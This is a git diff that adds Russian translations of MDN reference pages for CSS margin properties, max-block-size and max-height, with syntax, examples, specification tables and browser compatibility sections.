Указывает, что изображение не используется в качестве маркера списка. Если установлено это значение, вместо него будет использоваться маркер, определенный в {{ Cssxref("list-style-type") }}.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Пример

+ +

HTML

+ +
<ul>
+  <li>Item 1</li>
+  <li>Item 2</li>
+</ul>
+
+ +

CSS

+ +
ul {
+  list-style-image: url("https://mdn.mozillademos.org/files/11981/starsolid.gif");
+}
+ +

Результат

+ +

{{ EmbedLiveSample('Example') }}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('CSS3 Lists', '#list-style-image', 'list-style-image') }}{{ Spec2('CSS3 Lists') }}Расширяет поддержку любого типа данных {{cssxref("<image>")}}.
{{ SpecName('CSS2.1', 'generate.html#propdef-list-style-image', 'list-style-image') }}{{ Spec2('CSS2.1') }}Первое определение
+ +

{{cssinfo}}

+ +

Поддержка браузерами

+ + + +

{{Compat("css.properties.list-style-image")}}

+ +

Смотрите также

+ +
    +
  • {{Cssxref("list-style")}}, {{Cssxref("list-style-type")}}, {{Cssxref("list-style-position")}}
    • +
diff --git a/files/ru/web/css/margin-bottom/index.html b/files/ru/web/css/margin-bottom/index.html new file mode 100644 index 0000000000..729e6923b0 --- /dev/null +++ b/files/ru/web/css/margin-bottom/index.html @@ -0,0 +1,138 @@ +--- +title: margin-bottom +slug: Web/CSS/margin-bottom +tags: + - CSS + - CSS свойство +translation_of: Web/CSS/margin-bottom +--- +
{{CSSRef}}
+ +

Свойство CSS  margin-bottom устанавливает внешний отступ внизу элемента. Положительное значение увеличивает расстояние между соседними элементами, тогда как отрицательное - сокращает.

+ +
{{EmbedInteractiveExample("pages/css/margin-bottom.html")}}
+ + + +

                        Влияние CSS свойства margin-bottom на блок элемента

+ +

Это свойство не имеет воздействия на незамещаемые элементы, такие как {{HTMLElement("span")}} или {{HTMLElement("code")}}.

+ +

Синтаксис

+ +
/* числовые значения */
+margin-bottom: 10px;  /* Абсолютная длина */
+margin-bottom: 1em;   /* относительно размера текста */
+margin-bottom: 5%;    /* относительно длины родительского блока */
+
+/* Значения-ключевые слова */
+margin-bottom: auto;
+
+/* Глобальные значения */
+margin-bottom: inherit;
+margin-bottom: initial;
+margin-bottom: unset;
+
+ +

Свойство margin-bottom может быть выражено как ключевое слово auto, или как <число>, или как <процент>. Значение может быть положительным, нулевым или отрицательным.

+ +

Значения

+ +
+
{{cssxref("<length>")}}
+
Размер отступа - фиксированная величина.
+
{{cssxref("<percentage>")}}
+
Размер отступа в процентах - размер относительно длины родительского блока.
+
auto
+
Браузер сам выбирает, какое значение использовать. Смотрите {{cssxref("margin")}}.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Пример

+ +

HTML

+ +
<div class="container">
+<div class="box0">Блок 0</div>
+<div class="box1">Блок 1</div>
+<div class="box2">Отрицательное значение margin Блока 1 тянет меня вверх</div>
+</div>
+ +

CSS

+ +

CSS устанавливает нижний отступ и высоту для элементов div.

+ +
.box0 {
+    margin-bottom:1em;
+    height:3em;
+}
+.box1 {
+    margin-bottom:-1.5em;
+    height:4em;
+}
+.box2 {
+    border:1px dashed black;
+    border-width:1px 0;
+    margin-bottom:2em;
+}
+
+
+ +

Несколько дополнений к свойствам элемента div и элемента класса container сделают более наглядным эффект использования свойства margin.

+ +
.container {
+    background-color:orange;
+    width:320px;
+    border:1px solid black;
+}
+div {
+    width:320px;
+    background-color:gold;
+}
+ +

{{ EmbedLiveSample('Example',350,200) }}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Box', '#margin-bottom', 'margin-bottom')}}{{Spec2('CSS3 Box')}}Нет значительных изменений
{{SpecName('CSS3 Transitions', '#animatable-css', 'margin-bottom')}}{{Spec2('CSS3 Transitions')}}Определяет margin-bottom как анимируемое.
{{SpecName('CSS2.1', 'box.html#margin-properties', 'margin-bottom')}}{{Spec2('CSS2.1')}}Убирает влияние свойства на строчные элементы.
{{SpecName('CSS1', '#margin-bottom', 'margin-bottom')}}{{Spec2('CSS1')}}Первоначальное определение
+ +

{{cssinfo}}

+ +

Поддержка браузерами

+ + + +

{{Compat("css.properties.margin-bottom")}}

diff --git a/files/ru/web/css/margin-inline-end/index.html b/files/ru/web/css/margin-inline-end/index.html new file mode 100644 index 0000000000..d5e11e014c --- /dev/null +++ b/files/ru/web/css/margin-inline-end/index.html @@ -0,0 +1,98 @@ +--- +title: margin-inline-end +slug: Web/CSS/margin-inline-end +translation_of: Web/CSS/margin-inline-end +--- +

{{CSSRef}}{{SeeCompatTable}}

+ +

CSS Свойство margin-inline-end  определяет отступ логического края  элемента, который сопоставляется с физическим отступом в зависимомти от режима написания, направленности и расположения текста. То есть оно соответствует {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} или {{cssxref("margin-left")}} свойству в зависимости от числа определяющего {{cssxref("writing-mode")}}, {{cssxref("direction")}}, и {{cssxref("text-orientation")}}.

+ +
{{EmbedInteractiveExample("pages/css/margin-inline-end.html")}}
+ + + +

Syntax

+ +
/* <length> values */
+margin-inline-end: 10px;   /* An absolute length */
+margin-inline-end: 1em;    /* relative to the text size */
+margin-inline-end: 5%;     /* relative to the nearest block container's width */
+
+/* Keyword values */
+margin-inline-end: auto;
+
+/* Global values */
+margin-inline-end: inherit;
+margin-inline-end: initial;
+margin-inline-end: unset;
+
+ +

It relates to {{cssxref("margin-block-start")}}, {{cssxref("margin-block-end")}}, and {{cssxref("margin-inline-start")}}, which define the other margins of the element.

+ +

{{cssinfo}}

+ +

Values

+ +

The margin-inline-end property takes the same values as the {{cssxref("margin-left")}} property.

+ +

Formal syntax

+ +
{{csssyntax}}
+ +

Example

+ +

HTML

+ +
<div>
+  <p class="exampleText">Example text</p>
+</div>
+
+ +

CSS

+ +
div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-lr;
+  margin-inline-end: 20px;
+  background-color: #c8c800;
+}
+ +

{{EmbedLiveSample("Example", 140, 140)}}

+ +

Specification

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS Logical Properties", "#propdef-margin-inline-end", "margin-inline-end")}}{{Spec2("CSS Logical Properties")}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("css.properties.margin-inline-end")}}

+ +

See also

+ +
    +
  • {{cssxref("margin-inline-start")}}
    • +
  • The mapped physical properties: {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}}, and {{cssxref("margin-left")}}
    • +
  • {{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}
    • +
diff --git a/files/ru/web/css/margin-inline-start/index.html b/files/ru/web/css/margin-inline-start/index.html new file mode 100644 index 0000000000..8da250fd43 --- /dev/null +++ b/files/ru/web/css/margin-inline-start/index.html @@ -0,0 +1,100 @@ +--- +title: margin-inline-start +slug: Web/CSS/margin-inline-start +tags: + - CSS + - CSS Logical Property + - CSS Property + - Experimental + - Reference + - Экспериментальный + - справочник +translation_of: Web/CSS/margin-inline-start +--- +

{{CSSRef}}{{SeeCompatTable}}

+ +

Свойство margin-inline-start CSS задает логическое строковое (inline)  значение start margin элемента, которое сопоставляется с физическим значением margin в зависимости от режима записи (writing_mode) элемента, направленности и ориентации текста. Это логическое свойство соответствует одному из свойств {{cssxref("margin-top")}},  {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}}, or {{cssxref("margin-left")}} в зависимости от значений {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}}.

+ +
/* <length> values */
+margin-inline-start: 10px;  /* абсолютная величина */
+margin-inline-start: 1em;   /* относительно размера текста */
+margin-inline-start: 5%;    /* относительно ширины ближайшего контейнера */
+
+/* Keyword values */
+margin-inline-start: auto;
+
+/* Global values */
+margin-inline-start: inherit;
+
+ +

Это свойство связано со свойствами {{cssxref("margin-block-start")}}, {{cssxref("margin-block-end")}} и {{cssxref("margin-inline-end")}}, которые определяют другие компоненты margins элемента.

+ +

{{cssinfo}}

+ +

Синтаксис

+ +

Значения

+ +

Свойство margin-inline-start принимает такие же значения как и свойство {{cssxref("margin-left")}}.

+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Пример

+ +

HTML

+ +
<div>
+  <p class="exampleText">Example text</p>
+</div>
+
+ +

CSS

+ +
div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-lr;
+  margin-inline-start: 20px;
+  background-color: #c8c800;
+}
+ +

{{EmbedLiveSample("Example", 140, 140)}}

+ +

Спецификация

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS Logical Properties", "#propdef-margin-inline-start", "margin-inline-start")}}{{Spec2("CSS Logical Properties")}}Initial definition
+ +

Совместимость с браузерами

+ + + +

{{Compat("css.properties.margin-inline-start")}}

+ +

Смотри также

+ +
    +
  • {{cssxref("margin-inline-end")}}
    • +
  • Отображаемые физические свойства: {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} и {{cssxref("margin-left")}}
    • +
  • {{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}
    • +
diff --git a/files/ru/web/css/margin-left/index.html b/files/ru/web/css/margin-left/index.html new file mode 100644 index 0000000000..cf6558067a --- /dev/null +++ b/files/ru/web/css/margin-left/index.html @@ -0,0 +1,167 @@ +--- +title: margin-left +slug: Web/CSS/margin-left +translation_of: Web/CSS/margin-left +--- +
{{CSSRef()}}
+ +

Свойство CSS  margin-left устанавливает внешний отступ слева от элемента. Положительное значение увеличивает расстояние между соседними элементами, тогда как отрицательное - сокращает.

+ +
{{EmbedInteractiveExample("pages/css/margin-left.html")}}
+ + + +

Вертикальные внешние отступы двух соседних блоков могут схлопнуться. Это называется схлопыванием внешних отступов.

+ +

В редких случаях, когда ширина (т.е., когда все значения width, margin-left, border, padding, область содержимого, и margin-right определены), margin-left игнорируется, и будет иметь такое же расчётное значение, как и auto .

+ +

Синтаксис

+ +
/* <длина> значения */
+margin-left: 10px;  /* абсолютная длина */
+margin-left: 1em;   /* относительно размера текста */
+margin-left: 5%;    /* относительно ширины родительского блока */
+
+/* Значения-ключевые слова */
+margin-left: auto;
+
+/* Глобальные значения */
+margin-left: inherit;
+margin-left: initial;
+margin-left: unset;
+
+ +

Свойство margin-left может быть выражено как ключевое слово auto, как <число>, или как <процент>. Значение может быть положительным, нулевым или отрицательным.

+ +

Значения

+ +
+
{{cssxref("<length>")}}
+
Размер отступа - фиксированная величина.
+
{{cssxref("<percentage>")}}
+
Размер отступа в процентах - размер относительно длины родительского блока.
+
auto
+
Внешний отступ слева получает долю неиспользованного горизонтального пространства, определяется в основном выбранным способом разметки. Если значения margin-left и margin-right одновременно установлены как auto, расчетное пространство распределяется равномерно. Эта таблица кратко излагает различные: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Значение {{cssxref("display")}}Значение {{cssxref("float")}}Значение {{cssxref("position")}} +

Расчётное значение auto

+ 		Комментарий
inline, inline-block, inline-tableлюбоеstatic или relative0Строчный способ разметки
block, inline, inline-block, block, table, inline-table, list-item, table-captionлюбоеstatic или relative0, кроме случаев, когда margin-left и margin-right установлены как auto. В этом случае устанавливается значение, центрирующее элемент внутри его родителяБлочный способ разметки
block, inline, inline-block, block, table, inline-table, list-item, table-captionleft или rightstatic или relative0Блочный способ разметки (плавающие элементы)
любое table-*, кроме table-captionлюбоелюбое0Внутренние table-* элементы не имеют отступов, вместо этого используйте {{ cssxref("border-spacing") }}
любое, кроме flex, inline-flex, или table-*любоеfixed или absolute0, кроме случаев, когда margin-left и margin-right установлены как auto. В этом случае, устанавливается значение центрирующее границы области внутри доступной  width (ширины), если  значение фиксировано.Способ разметки абсолютным позиционированием
flex, inline-flexлюбоелюбое0, кроме случаев, когда есть положительное горизонтальное свободное пространство. В этом случае, распределяется равномерно по всем горизонтальным auto отступам.Способ разметки с помощью flexbox
+
+
+ +

Формальный синтаксис

+ +
{{csssyntax()}}
+ +

Примеры

+ +
.content { margin-left: 5%; }
+.sidebox { margin-left: 10px; }
+.logo    { margin-left: -5px; }
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Box', '#the-margin', 'margin-left')}}{{Spec2('CSS3Box')}} +


+ Нет значительных изменений относительно CSS 2.1.

+
{{SpecName('CSS3 Transitions', '#animatable-css', 'margin-left')}}{{Spec2('CSS3 Transitions')}}Определяет margin-left как анимируемое.
{{SpecName('CSS3 Flexbox', '#item-margins', 'margin-left')}}{{Spec2('CSS3 Flexbox')}} +


+ Определяет влияние margin-left на flex-элементы.

+
{{SpecName('CSS2.1', 'box.html#margin-properties', 'margin-left')}}{{Spec2('CSS2.1')}}Идентично CSS1, но удалено влияние на строчные элементы.
{{SpecName('CSS1', '#margin-left', 'margin-left')}}{{Spec2('CSS1')}}Первоначальное определение.
+ +

{{cssinfo}}

+ +

Поддержка браузерами

+ + + +

{{Compat("css.properties.margin-left")}}

diff --git a/files/ru/web/css/margin-right/index.html b/files/ru/web/css/margin-right/index.html new file mode 100644 index 0000000000..b9b1531e3d --- /dev/null +++ b/files/ru/web/css/margin-right/index.html @@ -0,0 +1,160 @@ +--- +title: margin-right +slug: Web/CSS/margin-right +translation_of: Web/CSS/margin-right +--- +
{{CSSRef}}
+ +

Свойство CSS margin-right устанавливает внешний отступ слева от элемента. Положительное значение увеличивает расстояние между соседними элементами, тогда как отрицательное - сокращает.

+ +
{{EmbedInteractiveExample("pages/css/margin-right.html")}}
+ + + +

Вертикальные внешние отступы двух соседних блоков могут схлопнуться. Это называется схлопыванием внешних отступов.

+ +

 

+ +

Синтаксис

+ +
/* <lenght> значение */
+margin-right: 20px;  /* абсолютная длина */
+margin-right: 1em;   /* относительно размера текста */
+margin-right: 5%;    /* относительно ширины родительского блока */
+
+/* Значения-ключевые слова */
+margin-right: auto;
+
+/* Глобальные значения */
+margin-right: inherit;
+margin-right: initial;
+margin-right: unset;
+
+ +

Свойство margin-right может быть выражено как ключевое слово auto, как <число>, или как <процент>. Значение может быть положительным, нулевым или отрицательным.

+ +

Значения

+ +
+
{{cssxref("<length>")}}
+
Размер отступа - фиксированная величина.
+
{{cssxref("<percentage>")}}
+
Размер отступа в процентах - размер относительно длины родительского блока.
+
auto
+
Внешний отступ слева получает долю неиспользованного горизонтального пространства, определяется в основном выбранным способом разметки. Если значения margin-left и margin-right одновременно установлены как auto, расчетное пространство распределяется равномерно. Эта таблица кратко излагает различные: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Значение {{cssxref("display")}}Значение {{cssxref("float")}}Значение {{cssxref("position")}}Расчётное значение
+ auto		Комментарий
inline, inline-block, inline-tableлюбоеstatic или relative0Строчный способ разметки
block, inline, inline-block, block, table, inline-table, list-item, table-captionлюбоеstatic или relative0, кроме случаев, когда margin-left и margin-right установлены как auto. В этом случае устанавливается значение, центрирующее элемент внутри его родителяБлочный способ разметки
block, inline, inline-block, block, table, inline-table, list-item, table-captionleft или rightstatic или relative0Блочный способ разметки (плавающие элементы)
любое table-*, кроме table-captionлюбоелюбое0Внутренние table-* элементы не имеют отступов, вместо этого используйте {{ cssxref("border-spacing") }}
любое, кроме flex, inline-flex, или table-*любоеfixed или absolute0, кроме случаев, когда margin-left и margin-right установлены как auto. В этом случае, устанавливается значение центрирующее границы области внутри доступной  width (ширины), если  значение фиксировано.Способ разметки абсолютным позиционированием
flex, inline-flexлюбоелюбое0, кроме случаев, когда есть положительное горизонтальное свободное пространство. В этом случае, распределяется равномерно по всем горизонтальным auto отступам.Способ разметки с помощью flexbox
+
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +
.content { margin-right: 5%; }
+.sidebox { margin-right: 10px; }
+.logo    { margin-right: -5px; }
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{ SpecName('CSS3 Box', '#the-margin', 'margin-right') }}{{ Spec2('CSS3 Box') }}Нет значительных изменений.
{{ SpecName('CSS3 Transitions', '#animatable-css', 'margin-right') }}{{ Spec2('CSS3 Transitions') }}Определяет margin-right как анимируемое.
{{SpecName('CSS3 Flexbox', '#item-margins', 'margin-right')}}{{ Spec2('CSS3 Flexbox') }}Определяет влияние margin-right на flex-элементы.
{{ SpecName('CSS2.1', 'box.html#margin-properties', 'margin-right') }}{{ Spec2('CSS2.1') }}Удалено влияние на строчные элементы.
{{ SpecName('CSS1', '#margin-right', 'margin-right') }}{{ Spec2('CSS1') }}Первоначальное определение.
+ +

{{cssinfo}}

+ +

Поддержка браузерами

+ + + +

{{Compat("css.properties.margin-right")}}

diff --git a/files/ru/web/css/margin-top/index.html b/files/ru/web/css/margin-top/index.html new file mode 100644 index 0000000000..9855b83558 --- /dev/null +++ b/files/ru/web/css/margin-top/index.html @@ -0,0 +1,102 @@ +--- +title: margin-top +slug: Web/CSS/margin-top +tags: + - CSS + - CSS Property + - Reference + - справочник +translation_of: Web/CSS/margin-top +--- +
{{CSSRef}}
+ +

Свойство margin-top CSS определяет внешний отступ в верхней части элемента. Положительное значение поместит элемент дальше от соседних элементов, чем обычно, а отрицательное значение поместит его ближе.

+ +
{{EmbedInteractiveExample("pages/css/margin-top.html")}}
+ + + +

Это свойство не имеет эффекта на незамещаемых (non-replaced) строковых (inline) элементах, таких как {{HTMLElement("span")}} или {{HTMLElement("code")}}.

+ +

Синтаксис

+ +
/* значения <length> */
+margin-top: 10px;  /* абсолютное значение */
+margin-top: 1em;   /* относительно размера текста */
+margin-top: 5%;    /* относительно ширины ближайшего контейнера */
+
+/* ключевые слова */
+margin-top: auto;
+
+/* глобальные значения */
+margin-top: inherit;
+margin-top: initial;
+margin-top: unset;
+
+ +

Свойство margin-top может принимать значение auto, <length> или <percentage>. Эти значения могут быть положительные, отрицательные или равны нулю.

+ +

Значения

+ +
+
{{cssxref("<length>")}}
+
Значение margin является фиксированной величиной
+
{{cssxref("<percentage>")}}
+
Значение margin выражается в процентах по отношению к ширине блока, содержащего элемент.
+
auto
+
Браузер выбирает подходящее значение для использования. Смотри {{cssxref("margin")}}.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +
.content { margin-top:   5%; }
+.sidebox { margin-top: 10px; }
+.logo    { margin-top: -5px; }
+#footer  { margin-top:  1em; }
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Box', '#the-margin', 'margin-top')}}{{Spec2('CSS3 Box')}}Никаких существенных изменений
{{SpecName('CSS3 Transitions', '#animatable-css', 'margin-top')}}{{Spec2('CSS3 Transitions')}}Определяет margin-top как анимационный.
{{SpecName('CSS2.1', 'box.html#margin-properties', 'margin-top')}}{{Spec2('CSS2.1')}}Устраняет его влияние на строковые (inline) элементы.
{{SpecName('CSS1', '#margin-top', 'margin-top')}}{{Spec2('CSS1')}}Начальное определение
+ +

{{cssinfo}}

+ +

Совместимость с браузерами

+ + + +

{{Compat("css.properties.margin-top")}}

diff --git a/files/ru/web/css/margin/index.html b/files/ru/web/css/margin/index.html new file mode 100644 index 0000000000..d149b8cc5f --- /dev/null +++ b/files/ru/web/css/margin/index.html @@ -0,0 +1,246 @@ +--- +title: margin +slug: Web/CSS/margin +tags: + - CSS + - CSS Property + - Reference + - справочник +translation_of: Web/CSS/margin +--- +
{{CSSRef}}
+ +

Свойство margin CSS определяет внешний отступ на всех четырех сторонах элемента. Это сокращение, которое устанавливает все отдельные поля одновременно: {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} и {{cssxref("margin-left")}}.

+ +
/* Применяется ко всем четырём сторонам */
+margin: 1em;
+
+/* по вертикали | по горизонтали */
+margin: 5% auto;
+
+/* сверху | горизонтально | снизу */
+margin: 1em auto 2em;
+
+/* сверху | справа | снизу | слева */
+margin: 2px 1em 0 auto;
+
+/* Глобальные значения */
+margin: inherit;
+margin: initial;
+margin: unset;
+
+ + + +

{{EmbedLiveSample("margin", "100%", 400, "", "", "example-outcome-frame")}}

+ +

{{cssinfo}}

+ +

Синтаксис

+ +

Свойство margin может быть задано с использованием одного, двух, трех или четырех значений. Каждое значение имеет тип <length>, <percentage> или является ключевым словом auto. Каждое значение может быть положительным, отрицательным или равным нулю.

+ +
    +
  • Когда определено одно значение, такое значение определено для всех четырех сторон.
    • +
  • Когда определены два значения, то первое значение определяет внешний отступ для верхней и нижней стороны, а второе значение определяет отступ для левой и правой стороны.
    • +
  • Когда определены три значение, то первое значение определяет внешний отступ для верхней стороны, второе значение определяет внешний отступ для левой и правой стороны, а третье значение определяет отступ для нижней стороны.
    • +
  • Когда определены четыре значения, они определяют внешние отступы для верхней стороны, справа, снизу и слева в рассмотренном порядке (по часовой стрелке).
    • +
+ +

Значения

+ +
+
{{cssxref("length")}}
+
Размер отступа как фиксированное значение.
+
{{cssxref("percentage")}}
+
Размер отступа в процентах относительно ширины родительского блока.
+
auto
+
Браузер выбирает подходящее значение для использования. Например, в некоторых случаях это значение может быть использовано для центрирования элемента.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

Простой пример

+ +

HTML

+ +
<div class="center">Этот элемент отцентрирован.</div>
+
+<div class="outside">Этот элемент расположен за пределами своего контейнера.</div>
+ +

CSS

+ +
.center {
+  margin: auto;
+  background: lime;
+  width: 66%;
+}
+
+.outside {
+  margin: 3rem 0 0 -3rem;
+  background: cyan;
+  width: 66%;
+}
+ +

{{ EmbedLiveSample('Simple_example','100%',120) }}

+ +

Больше примеров

+ +
margin: 5%;                 /* все стороны:  отступ 5% */
+
+margin: 10px;               /* все стороны:  отступ 10px */
+
+margin: 1.6em 20px;         /* верх и низ:   отступ 1.6em */
+                            /* право и лево: отступ 20px */
+
+margin: 10px 3% 1em;        /* верх:         отступ 10px */
+                            /* право и лево: отступ 3% */
+                            /* низ:          отступ 1em */
+
+margin: 10px 3px 30px 5px;  /* верх:   отступ 10px */
+                            /* право:  отступ 3px */
+                            /* низ:    отступ 30px */
+                            /* лево:   отступ 5px */
+
+margin: 2em auto;           /* верх и низ: отступ 2em */
+                            /* блок отцентрирован горизонтально */
+
+margin: auto;               /* верх и низ: отступ 0 */
+                            /* блок отцентрирован горизонтально */
+
+ +

Примечание

+ +

Горизонтальное выравнивание

+ +

Чтобы центрировать что-то горизонтально в современных браузерах, вы можете использовать display: flex; justify-content: center; .

+ +

Однако в старых браузерах, таких как IE8-9, которые не поддерживают технологию Flexible Box, они недоступны. Чтобы центрировать элемент внутри своего родителя, используйте margin: 0 auto; .

+ +

Схлопывание отступов

+ +

Иногда внешние отступы (margins) для верхней и нижней сторон схлопываются в один отступ, который равен наибольшему из двух отступов. Смотри Схлопывание внешних отступов для получения большей информации.

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('CSS3 Box', '#margin', 'margin') }}{{ Spec2('CSS3 Box') }}Нет значительных изменений.
{{ SpecName('CSS3 Transitions', '#animatable-css', 'margin') }}{{ Spec2('CSS3 Transitions') }}margin определён как анимируемый.
{{ SpecName('CSS2.1', 'box.html#margin-properties', 'margin') }}{{ Spec2('CSS2.1') }}Устраняет его влияние на строковые (inline) элементы..
{{ SpecName('CSS1', '#margin', 'margin') }}{{ Spec2('CSS1') }}Первоначальное определение.
+ +

Совместимость с браузерами

+ + + +

{{Compat("css.properties.margin")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/max-block-size/index.html b/files/ru/web/css/max-block-size/index.html new file mode 100644 index 0000000000..b76b3084db --- /dev/null +++ b/files/ru/web/css/max-block-size/index.html @@ -0,0 +1,136 @@ +--- +title: max-block-size +slug: Web/CSS/max-block-size +translation_of: Web/CSS/max-block-size +--- +

{{CSSRef}}{{SeeCompatTable}}

+ +

CSS свойство max-block-size определяет максимальный горизонтальный или вертикальный размер блока взависимости от вида ориентации экрана. Это свойство соответствует либо {{cssxref("max-width")}}, либо {{cssxref("max-height")}}, взависимости от значения определенного в {{cssxref("writing-mode")}}. Если последнее свойство вертикально ориентировано, значит значение свойства max-block-size относится к максимальной ширине блока, в противном случае относится к максимальной высоте блока. It relates to {{cssxref("max-inline-size")}}, which defines the other dimension of the element.

+ +
/* <length> values */
+max-block-size: 300px;
+max-block-size: 25em;
+
+/* <percentage> values */
+max-block-size: 75%;
+
+/* Keyword values */
+max-block-size: none;
+max-block-size: max-content;
+max-block-size: min-content;
+max-block-size: fit-content;
+max-block-size: fill-available;
+
+/* Global values */
+max-block-size: inherit;
+max-block-size: initial;
+max-block-size: unset;
+
+ +

{{cssinfo}}

+ +

Syntax

+ +

Values

+ +

Свойство max-block-size принимает такие же значения как {{cssxref("max-width")}} и {{cssxref("max-height")}} свойства.

+ +

Formal syntax

+ +
{{csssyntax}}
+ +

Example

+ +

HTML Content

+ +
<p class="exampleText">Example text</p>
+
+ +

CSS Content

+ +
.exampleText {
+  writing-mode: vertical-rl;
+  background-color: yellow;
+  block-size: 100%;
+  max-block-size: 200px;
+}
+ +

{{EmbedLiveSample("Example")}}

+ +

Specification

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS Logical Properties", "#propdef-max-block-size", "max-block-size")}}{{Spec2("CSS Logical Properties")}}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatNo}}{{CompatGeckoDesktop("41.0")}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatGeckoMobile("41.0") }}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] Available since Gecko 38, but behind the preference layout.css.vertical-text.enabled, then disabled by default. The preference has been removed in Gecko 51 and this property cannot be disabled since this version.

+ +

See also

+ +
    +
  • The mapped physical properties: {{cssxref("max-width")}} and {{cssxref("max-height")}}
    • +
  • {{cssxref("writing-mode")}}
    • +
diff --git a/files/ru/web/css/max-height/index.html b/files/ru/web/css/max-height/index.html new file mode 100644 index 0000000000..a6ee69d1f8 --- /dev/null +++ b/files/ru/web/css/max-height/index.html @@ -0,0 +1,124 @@ +--- +title: max-height +slug: Web/CSS/max-height +translation_of: Web/CSS/max-height +--- +
{{CSSRef}}
+ +

Свойство CSS max-height устанавливает максимальную высоту элемента. Оно предотвращает используемое значение свойства {{ Cssxref("height") }} от становления больше, чем значение, указанное для max-height.

+ +
{{EmbedInteractiveExample("pages/css/max-height.html")}}
+ + + +

{{ Cssxref("max-height") }} перекрывает {{cssxref("height")}}, но {{ Cssxref("min-height") }} перекрывает {{ Cssxref("max-height") }}.

+ +

Синтаксис

+ +
/* <length> значения */
+max-height: 3.5em;
+
+/* <percentage> значения */
+max-height: 75%;
+
+/* Значения-ключевые слова */
+max-height: none;
+max-height: max-content;
+max-height: min-content;
+max-height: fit-content;
+max-height: fill-available;
+
+/* Глобальные значения */
+max-height: inherit;
+max-height: initial;
+max-height: unset;
+
+ +

Значения

+ +
+
{{cssxref("<length>")}}
+
Максимальная высота выражается как {{cssxref("<length>")}}.
+
{{cssxref("<percentage>")}}
+
Максимальная высота выражается как {{cssxref("<percentage>")}} от высоты родительского блока.
+
+ +

Значения-ключевые слова

+ +
+
none
+
Высота не имеет максимального значения.
+
max-content{{experimental_inline()}}
+
Внутренняя предпочтительная высота.
+
min-content{{experimental_inline()}}
+
Внутренняя минимальная высота.
+
fill-available{{experimental_inline()}}
+
Высота родительского блока минус вертикальные margin, border, и padding. (Обратите внимание, что некоторые браузеры реализуют устаревшее имя для этого ключевого слова., available.)
+
fit-content{{experimental_inline()}}
+
То же что и max-content.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +
table { max-height: 75%; }
+
+form { max-height: none; }
+
+
+ +

Проблемы доступности

+ +

Убедитесь, что элементы с max-height не обрезаются и / или не закрывают другой контент, когда страница увеличена для увеличения размера текста. 

+ + + +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('CSS3 Sizing', '#width-height-keywords', 'max-height') }}{{ Spec2('CSS3 Sizing') }}Добавляет ключевые слова max-content, min-content, fit-content, и fill-available. (CSS3 Box и CSS3 Writing Modes черновики, используемые для определения этих ключевых слов, были заменены этой спецификацией)
{{ SpecName('CSS3 Transitions', '#animatable-css', 'max-height') }}{{ Spec2('CSS3 Transitions') }}Определяет max-height как анимируемое.
{{ SpecName('CSS2.1', 'visudet.html#min-max-heights', 'max-height') }}{{ Spec2('CSS2.1') }}Первоначальное определение.
+ +

{{cssinfo}}

+ +

Поддержка браузерами

+ + + +

{{Compat("css.properties.max-height")}}

+ +

Смотрите также

+ +
    +
  • Блочная модель
    • +
  • {{ Cssxref("max-width") }}, {{ Cssxref("box-sizing") }}, {{ Cssxref("height") }}, {{ Cssxref("min-height") }}
    • +
